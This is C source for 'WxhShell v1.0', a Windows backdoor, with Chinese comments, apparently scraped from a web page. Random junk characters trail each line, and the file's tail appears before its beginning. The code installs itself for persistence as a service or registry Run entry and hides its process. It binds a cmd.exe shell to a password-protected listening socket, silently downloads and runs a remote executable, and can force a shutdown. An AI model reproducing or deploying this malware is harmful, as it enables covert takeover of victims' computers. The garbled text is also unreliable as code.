    if(Boot(SHUTDOWN)) >T14 J'\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y]k{u\2A  
    else { ,}^;q58  
    closesocket(wsh); (3m^@2i  
    ExitThread(0); JAmpU^(C  
    }  </Dv?  
    break; kf' 4C "}  
    } 0}>p)k3&A  
  // 获取shell 2tp95E`(O  
  case 's': { *2m{i:3  
    CmdShell(wsh); #("E) P  
    closesocket(wsh); 5G#2#Al(F  
    ExitThread(0); ~f8:sDJ  
    break; P>] *pD  
  } I<&) P#"  
  // 退出 y 5Kr<cF^  
  case 'x': { vF{{$)c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K>2Bz&)  
    CloseIt(wsh); %F0.TR!!n  
    break; ge&!GO  
    } v?q)E%5j  
  // 离开 p" Di;3!y!  
  case 'q': { .Jc<Gg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )c0Dofhg  
    closesocket(wsh); phcYQqR  
    WSACleanup(); {%Q+Pzl.  
    exit(1); 7a%)/ )<D  
    break; / \k\HK8  
        } u-wj\BU  
  } ^K'XlM`a  
  } #/>OW2Ny  
e yByAT~W,  
  // 提示信息 6l(HD([_p  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0ol*!@?  
} =%crSuP  
  } w"h3e  
MF5o\-&dN  
  return; >s ;dooZ  
} MB?762 Q  
",45p@  
// shell模块句柄 /V>yF&p  
int CmdShell(SOCKET sock) 6PRP&|.#  
{ oMb@)7  
STARTUPINFO si; rn-CQ2{?  
ZeroMemory(&si,sizeof(si)); =zwn3L8fL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {60U6n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4Mv]z^  
PROCESS_INFORMATION ProcessInfo; rIAbr5CG  
char cmdline[]="cmd"; /,^AG2]( f  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); u'"]{.K>fb  
  return 0; #J*hZ(Pq  
} a~Y`N73/c  
qbD[<T  
// 自身启动模式 2Afg.-7EP  
int StartFromService(void) )SWLX\b  
{ :Mnl1;oh  
typedef struct #HmZe98[%  
{ 6{?B`gm7g  
  DWORD ExitStatus; oYrg;]H  
  DWORD PebBaseAddress; '"]U+aIg  
  DWORD AffinityMask; Pbl#ieZM  
  DWORD BasePriority; V*F |Yo:  
  ULONG UniqueProcessId; R2f^dt^  
  ULONG InheritedFromUniqueProcessId; C"g bol^  
}   PROCESS_BASIC_INFORMATION; X~ g9TUv8  
QJtO~~-  
PROCNTQSIP NtQueryInformationProcess; <,Pk  
nm]m!.$d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  ]YKxJ''u  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `E8D5'tt  
e# z#bz2<  
  HANDLE             hProcess; j4}Q  
  PROCESS_BASIC_INFORMATION pbi; V5bB$tL}3  
LHd9q ^D  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x^)W}p"  
  if(NULL == hInst ) return 0; Z6IWQo,)Rh  
DN;3VT.-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); z?'z{+HY  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); "g&hsp+i"A  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wg]VG,  
Oc%W_Gb7  
  if (!NtQueryInformationProcess) return 0; @*-t.b2k  
;><m[l6  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); aQglA  
  if(!hProcess) return 0; s-JS[  
lHc9D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;]^% 6B n  
dnCurWjdk  
  CloseHandle(hProcess); .g!K| c  
z2[{3Kd*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cSYMnB  
if(hProcess==NULL) return 0; A/88WC$v  
g,s^qW0vds  
HMODULE hMod; <j:@ iP  
char procName[255]; Z^_gS&nDa~  
unsigned long cbNeeded; YZ^mH <  
. pyNET  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); sI6coe5n  
y1 a1UiHGP  
  CloseHandle(hProcess); r>B|JPm  
0n*D](/NK  
if(strstr(procName,"services")) return 1; // 以服务启动 !TLJk]7uC  
Y |9  
  return 0; // 注册表启动 %`}nP3  
} b!`{fwV  
Cm;M; ?  
// 主模块 & 6nLnMF8x  
int StartWxhshell(LPSTR lpCmdLine) nfksi``Vq  
{ t {H{xd  
  SOCKET wsl; a6\`r^@  
BOOL val=TRUE; eD!mR3Ai@D  
  int port=0; *1,4#8tB  
  struct sockaddr_in door; IO<Ds#(  
Ix+eP|8F  
  if(wscfg.ws_autoins) Install(); 0HN%3AG]  
1h?QEZ,6a  
port=atoi(lpCmdLine); }Dx.;0*:  
]Wtg.y6;  
if(port<=0) port=wscfg.ws_port; I %|;M%B  
in`|.#  
  WSADATA data; bL/DjsZ@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8yk4#CZ  
L5r02VzbD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   XvVi)`8!u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +`uNO<$~f  
  door.sin_family = AF_INET; c/E'GG%Q%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _RE;}1rb,  
  door.sin_port = htons(port); vH/RP  
 w>\_d  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WaSZw0U}y  
closesocket(wsl); 06]"{2  
return 1; z! :0%qu  
} z0@BBXQ`  
fNz(z\  
  if(listen(wsl,2) == INVALID_SOCKET) { -^q;e]+J  
closesocket(wsl); gFl@A}  
return 1; @D>qo=KPM  
} I>{o]^xw-D  
  Wxhshell(wsl); U7HfDDh  
  WSACleanup(); +QP(ATdM  
oSIP{lfp2Q  
return 0; 1)!2D?w  
_{$<s[S  
} )YW"Zo8~!1  
$$i Gs6az  
// 以NT服务方式启动 #_WkV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >R5A@0@d5  
{ oX7_v_:J\R  
DWORD   status = 0; hbEqb{#}@  
  DWORD   specificError = 0xfffffff; pog   
WtO@Kf:3GH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q]e]\J  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I51I(QF=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; nw(R=C  
  serviceStatus.dwWin32ExitCode     = 0; LW k/h 1  
  serviceStatus.dwServiceSpecificExitCode = 0; %xr'96d  
  serviceStatus.dwCheckPoint       = 0; 6|IJwP^Q_  
  serviceStatus.dwWaitHint       = 0; ,&y_^-|d  
_D$1CaAYo  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =cO5Nt  
  if (hServiceStatusHandle==0) return; ;hF}"shJN  
;YSe:m*  
status = GetLastError(); +*,!q7Gt  
  if (status!=NO_ERROR) n.t5:SW  
{ s\<UDW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |=07n K2  
    serviceStatus.dwCheckPoint       = 0; "U+c`V=w  
    serviceStatus.dwWaitHint       = 0; Y% JE})  
    serviceStatus.dwWin32ExitCode     = status; I L,lXB<  
    serviceStatus.dwServiceSpecificExitCode = specificError; ~f"3Wa*\B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vxOnv8(  
    return; g9CedD%40  
  } UBJYs{zz  
 P_'{|M<?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  ;u [:J  
  serviceStatus.dwCheckPoint       = 0; #%F-Xsk  
  serviceStatus.dwWaitHint       = 0; :,M+njcFc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `e fiX^  
} )B+R|PZ,  
crOSr/I$  
// 处理NT服务事件,比如:启动、停止 5gV,^[E-z  
VOID WINAPI NTServiceHandler(DWORD fdwControl) QAt]sat  
{ 6212*Z_Af  
switch(fdwControl) \4^zY'  
{ o.w/ ?  
case SERVICE_CONTROL_STOP: :5$ErI  
  serviceStatus.dwWin32ExitCode = 0; $STGH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0|J9Btbp  
  serviceStatus.dwCheckPoint   = 0; e$_gOwB  
  serviceStatus.dwWaitHint     = 0; q'a]DJ`  
  { pUS:HJk|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :3XvHL0rx  
  } Z,SV9 ~M  
  return; oV;sd5'LG  
case SERVICE_CONTROL_PAUSE: he/rt#  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ,9}JPv4Z  
  break; ^;h\#S[%  
case SERVICE_CONTROL_CONTINUE: D\+x/r?-I  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; -:p VDxO  
  break; Er|&4-9  
case SERVICE_CONTROL_INTERROGATE: vea{o 35!  
  break; s8[(   
}; X Db%-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8{!|` b'f  
} 0^Vw^]w  
3UW`Jyd`k  
// 标准应用程序主函数 |f$ws R`&  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7P}l^WX  
{ xzOvc<u  
t( V 2  
// 获取操作系统版本 p/Q< VV  
OsIsNt=GetOsVer(); :h(3Ep  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F.x7/;  
1 oKY7i$  
  // 从命令行安装 iG"v  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0sKo NzE  
#:yAi_Ct  
  // 下载执行文件 c(vi,U-hC  
if(wscfg.ws_downexe) { ~,};FI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +PLJ  
  WinExec(wscfg.ws_filenam,SW_HIDE); #K@!jh)y^  
} L gX2KU"  
8YE4ln  
if(!OsIsNt) { YU 0pWM  
// 如果时win9x,隐藏进程并且设置为注册表启动 Iurz?dt4w  
HideProc(); BR?DW~7J j  
StartWxhshell(lpCmdLine); v(JjvN21  
} *y|w9 r p  
else c)N_"#&  
  if(StartFromService()) ZVJ6 {DS/  
  // 以服务方式启动 "QS(4yw?jg  
  StartServiceCtrlDispatcher(DispatchTable); g8&& W_BI  
else \24'iYtqW  
  // 普通方式启动 }id)~h_@  
  StartWxhshell(lpCmdLine); ,wg(}y'  
|0u qW1  
return 0; <_pLmYI  
} H(- -hG5}  
u81F^72U  
{yT<22Fl  
8KigGhY'ms  
=========================================== +/%4E %  
Pq35w#`!  
_X<V` , p  
5>CeFy  
,K6ODtw.  
k5bv57@  
" h82y9($cZ  
&WAU[{4W  
#include <stdio.h> +/n]9l]#h  
#include <string.h> $^ir3f+  
#include <windows.h> !=;Evf  
#include <winsock2.h> ?wmu 0rR  
#include <winsvc.h> qkc,93B3  
#include <urlmon.h> I Gb'ii=A  
QjJlVlp  
#pragma comment (lib, "Ws2_32.lib") veh=^K%G |  
#pragma comment (lib, "urlmon.lib") ]5`A8-Q@  
uQW[2f  
#define MAX_USER   100 // 最大客户端连接数 x~8R.Sg  
#define BUF_SOCK   200 // sock buffer <?8cVLW} O  
#define KEY_BUFF   255 // 输入 buffer d/3&3>/  
\!uf*=d  
#define REBOOT     0   // 重启 )PU\|I0|)e  
#define SHUTDOWN   1   // 关机 s/E9$*0  
c<cYX;O  
#define DEF_PORT   5000 // 监听端口 X3gYe-2  
X%iqve"{nB  
#define REG_LEN     16   // 注册表键长度 wT;;B=u}G  
#define SVC_LEN     80   // NT服务名长度 ]k1N-/  
d3T7$'l$  
// 从dll定义API 9S'\&mRl  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); #&S<{75A  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B}p.fE  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "].TKF#yg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); j9RpYz  
z=jzr=lP  
// wxhshell配置信息 j `3IizN2  
struct WSCFG { e2;=OoBK  
  int ws_port;         // 监听端口 l<sWM$ez  
  char ws_passstr[REG_LEN]; // 口令 \B/( H)Cd*  
  int ws_autoins;       // 安装标记, 1=yes 0=no (lYC2i_b#  
  char ws_regname[REG_LEN]; // 注册表键名 l`0JL7  
  char ws_svcname[REG_LEN]; // 服务名 ao2o!-?!t  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GLV`IkU %  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G8^b9xoA+.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pj8Vl)8~NV  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }gX4dv B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 5/m*Lc+r  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Ai)Q(]  
Z$YG'p{S  
}; <bv9X?U  
G Wj !n  
// default Wxhshell configuration T~}g{q,tR  
struct WSCFG wscfg={DEF_PORT, X/Fip 0i  
    "xuhuanlingzhe", ={190=\9  
    1, ;lTgihW-  
    "Wxhshell", <_bGV  
    "Wxhshell", =*y{y)B^g  
            "WxhShell Service", F>@z&a}(  
    "Wrsky Windows CmdShell Service", i~HS"n  
    "Please Input Your Password: ", mUb2U&6(  
  1, [vdC$9z,  
  "http://www.wrsky.com/wxhshell.exe", =E~SaT  
  "Wxhshell.exe" a5@lWpQsV  
    }; 9x8Ai  
| 8n,|%e  
// 消息定义模块 yAel4b/}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1&kf2\S  
char *msg_ws_prompt="\n\r? for help\n\r#>"; tE=$#  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6X VJ/qZ  
char *msg_ws_ext="\n\rExit."; u`*$EP-%  
char *msg_ws_end="\n\rQuit."; c/3]M>+M  
char *msg_ws_boot="\n\rReboot..."; @(tuE  
char *msg_ws_poff="\n\rShutdown..."; <("P5@cExU  
char *msg_ws_down="\n\rSave to "; 3URrK[%x`  
6XeqK*r*  
char *msg_ws_err="\n\rErr!"; O} lqY?0*  
char *msg_ws_ok="\n\rOK!"; a9nXh6  
0R,Y[).U  
char ExeFile[MAX_PATH]; sD<8-n  
int nUser = 0; rIH+X2 x  
HANDLE handles[MAX_USER]; mP)im]H  
int OsIsNt; o`ODz[04  
bqR0./V  
SERVICE_STATUS       serviceStatus; y=}a55:qE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ue}lAW{q  
jin?;v  
// 函数声明 r3Ih]|FK#  
int Install(void); ve=1y)  
int Uninstall(void); {y:+rh&  
int DownloadFile(char *sURL, SOCKET wsh); YjG:ECj}  
int Boot(int flag); T=cb:PD{%  
void HideProc(void); nQ'AB~ Do  
int GetOsVer(void); !un_JZD  
int Wxhshell(SOCKET wsl); pQ+4++7ID  
void TalkWithClient(void *cs); j%*<W> O  
int CmdShell(SOCKET sock); |:`gjl_Nf  
int StartFromService(void); RAEiIf!3  
int StartWxhshell(LPSTR lpCmdLine); _P]k6z+  
> Gxu8,_;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @/?$ZX/e[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); pM@0>DVi  
:3*0o3C/  
// 数据结构和表定义 Bk1gE((  
SERVICE_TABLE_ENTRY DispatchTable[] = %5bN@XD  
{ HmEU;UbO-  
{wscfg.ws_svcname, NTServiceMain}, |<7nf75c}  
{NULL, NULL} zhde1JE  
}; r\{; ~V  
&nF7CCF  
// 自我安装 C  F<  
int Install(void) d4-cZw}+  
{ .aR$ou,7  
  char svExeFile[MAX_PATH]; <H!; /p/S  
  HKEY key; B3Esfk  
  strcpy(svExeFile,ExeFile); P1QGfp0-J  
UBy:W^\g  
// 如果是win9x系统,修改注册表设为自启动 8c'E  
if(!OsIsNt) { SbpO<8}8  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ibl==Irk  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); j6$_U@)%O  
  RegCloseKey(key); !Lj+&D|z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [k6 5i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); })r[q sv  
  RegCloseKey(key); jvos)$;L-  
  return 0; utwqP~  
    } 9Fxz9_ i  
  } NvlG@^&S  
}  !.k  
else { y3C$%yv0  
[mk!] r  
// 如果是NT以上系统,安装为系统服务 0IjQqI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "Mmvf'N  
if (schSCManager!=0) /!0{9F<  
{ jCbxI^3A  
  SC_HANDLE schService = CreateService :j,e0#+sA  
  ( t%<d}QuHW  
  schSCManager, ;H8A"$%n~  
  wscfg.ws_svcname, Ow]c,F}^  
  wscfg.ws_svcdisp, e c`3Qw  
  SERVICE_ALL_ACCESS, pfvNVu  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /F 1mYq~  
  SERVICE_AUTO_START, }mw31=2bD  
  SERVICE_ERROR_NORMAL, 3AD^B\<gB  
  svExeFile, tpi63<N  
  NULL, "n@=.x  
  NULL, jW+L0RkX  
  NULL, H\<C@OkJS}  
  NULL, %@jv\J  
  NULL Iih~rWJ  
  ); ~8EG0F;t  
  if (schService!=0) C '}8  
  { l2!4}zI2  
  CloseServiceHandle(schService); m/0t; cx  
  CloseServiceHandle(schSCManager); `795 K8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); QJ s /0iw  
  strcat(svExeFile,wscfg.ws_svcname); P A9 ]L  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U(=cGA.$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -pR1xsG  
  RegCloseKey(key); RyxIJJui  
  return 0; 1]v.Qu<  
    } U;4:F{3m   
  } rT ~qoA\  
  CloseServiceHandle(schSCManager); u]ZCYJ>  
} @[S\ FjI  
} c;bp[ Y3R  
dDy9yw%f?  
return 1; _, ;c2  
} !W8'apG&[  
rf8`|9h"7  
// 自我卸载 "sRR:wzQu  
int Uninstall(void) .yF7{/  
{ #.%;U' #O  
  HKEY key; PZ;O pp  
MqI!i>  
if(!OsIsNt) { 7Q.?] k&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y0U<l1(|  
  RegDeleteValue(key,wscfg.ws_regname); R '/Ilz`  
  RegCloseKey(key); E7axINca  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]ba O{pJi  
  RegDeleteValue(key,wscfg.ws_regname); u<\/T&S  
  RegCloseKey(key); #x&1kHu<  
  return 0; F 3}cVO2bY  
  } P{)eZINlE  
} !T|X/B R  
} (a1s~  
else { Z %MP:@z  
y)!K@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 810u +%fu  
if (schSCManager!=0) t1.5hsp  
{ uV*&a~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #2&_WM!   
  if (schService!=0) jQ_j#_Vle  
  { dd>stp   
  if(DeleteService(schService)!=0) { :\48=>  
  CloseServiceHandle(schService); !K1[o'o#  
  CloseServiceHandle(schSCManager); #G^?4Z a  
  return 0; r/fLm8+  
  } [HK[{M =v=  
  CloseServiceHandle(schService); #Gs] u  
  } (6 fh[eK86  
  CloseServiceHandle(schSCManager); xq.,7#3  
} l>S~)FNwXJ  
} ;Zc(qA  
$q{-)=-BXQ  
return 1; rRL:]%POT  
} qI"@ PI!s  
Jpws1~  
// 从指定url下载文件 sL XQ)Ce  
int DownloadFile(char *sURL, SOCKET wsh) 4jj@"*^a  
{ k| nv[xY0  
  HRESULT hr; c ++tk4  
char seps[]= "/"; .QzHHW4&0  
char *token; *9((b;Ju  
char *file; Yyby 1  
char myURL[MAX_PATH]; W[: n*h  
char myFILE[MAX_PATH]; {KE858  
$AUC#<*C  
strcpy(myURL,sURL); _bn*B$  
  token=strtok(myURL,seps); p^A9iieHp=  
  while(token!=NULL) 4r5?C;g  
  { zN {'@B  
    file=token; gz-}nCSi  
  token=strtok(NULL,seps); < ppg$;  
  } >c?Z.of  
F%t`dz!L  
GetCurrentDirectory(MAX_PATH,myFILE); r+;op_  
strcat(myFILE, "\\"); c Q|nL  
strcat(myFILE, file); /A4zR  
  send(wsh,myFILE,strlen(myFILE),0); 4E}/{1  
send(wsh,"...",3,0); 9#iu#?*B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); diGPTV-?$  
  if(hr==S_OK) ub6=^`>h  
return 0; kc\^xq~  
else iu2{%S)w  
return 1; Je[wGF:%:$  
cWP34;NNM  
} m49GCo k+  
} O8|_d  
// 系统电源模块 ,[%KSyH  
int Boot(int flag) |#Bz&T  
{ G@ XKE17  
  HANDLE hToken; _K3?0<=4  
  TOKEN_PRIVILEGES tkp; NSUw7hnWvz  
k/?5Fs!#  
  if(OsIsNt) { znzh$9tH  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @S yGj#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); mTT1,|  
    tkp.PrivilegeCount = 1; V.6h6B!vB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; p@y?xZS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %:sQ[^0  
if(flag==REBOOT) { DZ |0CB~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) +dcBh Dq  
  return 0; Q-_&5/G  
} htj:Z:C`  
else { hMh8)S  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ro`9Ibqr  
  return 0; yf*^Y74  
} h W6og)x  
  } & xo,49`!  
  else { #HpF\{{v  
if(flag==REBOOT) { |T atRB3>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) )"q$g&  
  return 0; B>WAlmPA  
} +1~Y2   
else { z;JyHC)  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UmcPpZ  
  return 0; :[|4Zn  
} o<`Mvw@Z  
} u+a" '*  
L}pMjyM  
return 1; K>hQls+  
} //n$#c _}u  
{b6| wQ\  
// win9x进程隐藏模块 s4/4o_[W  
void HideProc(void) : a @_GIC  
{ > L_kSC?  
sa$CCQ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8i/5L=a"`  
  if ( hKernel != NULL ) '/%]B@!  
  { zgXg-cr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (`\ DDJ[  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); %wWJVq}jx  
    FreeLibrary(hKernel); "`qmeZ$rg  
  } uT:'Kkb!  
,$s NfW  
return; `>-fU<Q1  
} (3~h)vaJ  
jR[VPm=  
// 获取操作系统版本 lZ|+.T!g?  
int GetOsVer(void) ]Jz2[F"J  
{ !_C*2+f  
  OSVERSIONINFO winfo; RC'4%++Nz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2wLnRP`*  
  GetVersionEx(&winfo); /.P9n9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9.u}<m  
  return 1; 4zyN>f|  
  else OGW,[k= 2{  
  return 0; A!B: vJ  
} /9T.]H ~  
_)-t#Ve  
// 客户端句柄模块 fUj[E0yOF  
int Wxhshell(SOCKET wsl) dt&m YSZ}  
{ (7Su{tq  
  SOCKET wsh; P/i{_r  
  struct sockaddr_in client; hOZ:r =%  
  DWORD myID; O*0%AjT6  
c\A 4-08  
  while(nUser<MAX_USER) \PReQ|[ah  
{ {Tx"G9  
  int nSize=sizeof(client); U; -2)+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !\|_,pSB  
  if(wsh==INVALID_SOCKET) return 1; LCBP9Rftvd  
U9"g;t+/   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); FM$$0}X  
if(handles[nUser]==0) jN))|eD0x  
  closesocket(wsh); {txW>rZX  
else kjAARW  
  nUser++; &:Q^j:  
  } )oqNQ'yZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eXKpum~  
slUnB6@Q  
  return 0; 6z`l}<q  
} ^m0nInH  
\f~m6j$D_  
// 关闭 socket XZ%3PMq  
void CloseIt(SOCKET wsh) u@&e{w~0  
{ Qa`+-W u8  
closesocket(wsh); o3b=)E  
nUser--; ^!&6z4DP  
ExitThread(0); {Kh^)oYdd  
} Fnqj^5  
z)tULnR8  
// 客户端请求句柄 df\^uyD;  
void TalkWithClient(void *cs) ^^ >j2=  
{ 2P35#QI[)  
|L9p.q  
  SOCKET wsh=(SOCKET)cs; v 9k\[E?  
  char pwd[SVC_LEN]; _2Zc?*4  
  char cmd[KEY_BUFF]; ,GeW_!Q[  
char chr[1]; _oz1'}=  
int i,j; d1jg3{pwA  
Z  FIy  
  while (nUser < MAX_USER) { ":v^Y 9  
GJs{t1 E  
if(wscfg.ws_passstr) { ]S0=&x@,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); z}BuR*WSY{  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K<wg-JgA  
  //ZeroMemory(pwd,KEY_BUFF); &/m0N\n?  
      i=0; t,NE`LC  
  while(i<SVC_LEN) { tJe5`L  
W3+;1S$k  
  // 设置超时 %Ev)Hk  
  fd_set FdRead; g)!d03Qoy  
  struct timeval TimeOut; \jmT#Gt`9  
  FD_ZERO(&FdRead); ?,}:)oA_  
  FD_SET(wsh,&FdRead); inHlL  
  TimeOut.tv_sec=8; a``/x_EZMn  
  TimeOut.tv_usec=0; 5J-slNNCQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |@W|nbAfX  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); SA{noM  
:|\[a0ZL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cl6P,C  
  pwd=chr[0]; `y3*\l  
  if(chr[0]==0xd || chr[0]==0xa) { }A}cq!I^  
  pwd=0; :>C D;  
  break; *epK17i=  
  } _ <Ip0?N  
  i++; U| T}0  
    } Sq ]VtQ(  
8q]_> X  
  // 如果是非法用户,关闭 socket ^*G UcQ$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Prc (  
} 5Vc~yMz  
0VnRtLnqI  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZAJ~Tbm[f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kfY. 9$(d  
xLdkeuL[%  
while(1) { %MCJ%Ph  
&8;Fi2}(L  
  ZeroMemory(cmd,KEY_BUFF); &( ZEs c  
(I/ZI'Ydy  
      // 自动支持客户端 telnet标准   U(+%iD60i  
  j=0; g '+2bQ  
  while(j<KEY_BUFF) { zYxA#TZL  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ts\PZQ!q  
  cmd[j]=chr[0]; vs^)=  
  if(chr[0]==0xa || chr[0]==0xd) { g#Z7ReMw  
  cmd[j]=0; =qvn?I^/  
  break; <S^Hy&MD>  
  } ux8K$$$  
  j++; o)wOXF  
    } 1@t8i?:h  
v4]#Nc$~T  
  // 下载文件 ),>whCtsI  
  if(strstr(cmd,"http://")) { wwNkJ+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c!kzwc(  
  if(DownloadFile(cmd,wsh)) %x./>-[t  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +TW,!.NBG  
  else fh*7VuAc  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZcHd.1fXh  
  } Sim$:5P  
  else { EK Ac>g  
\'r;1W  
    switch(cmd[0]) { %+((F +[  
  G?^w <  
  // 帮助 +y_V$q$G  
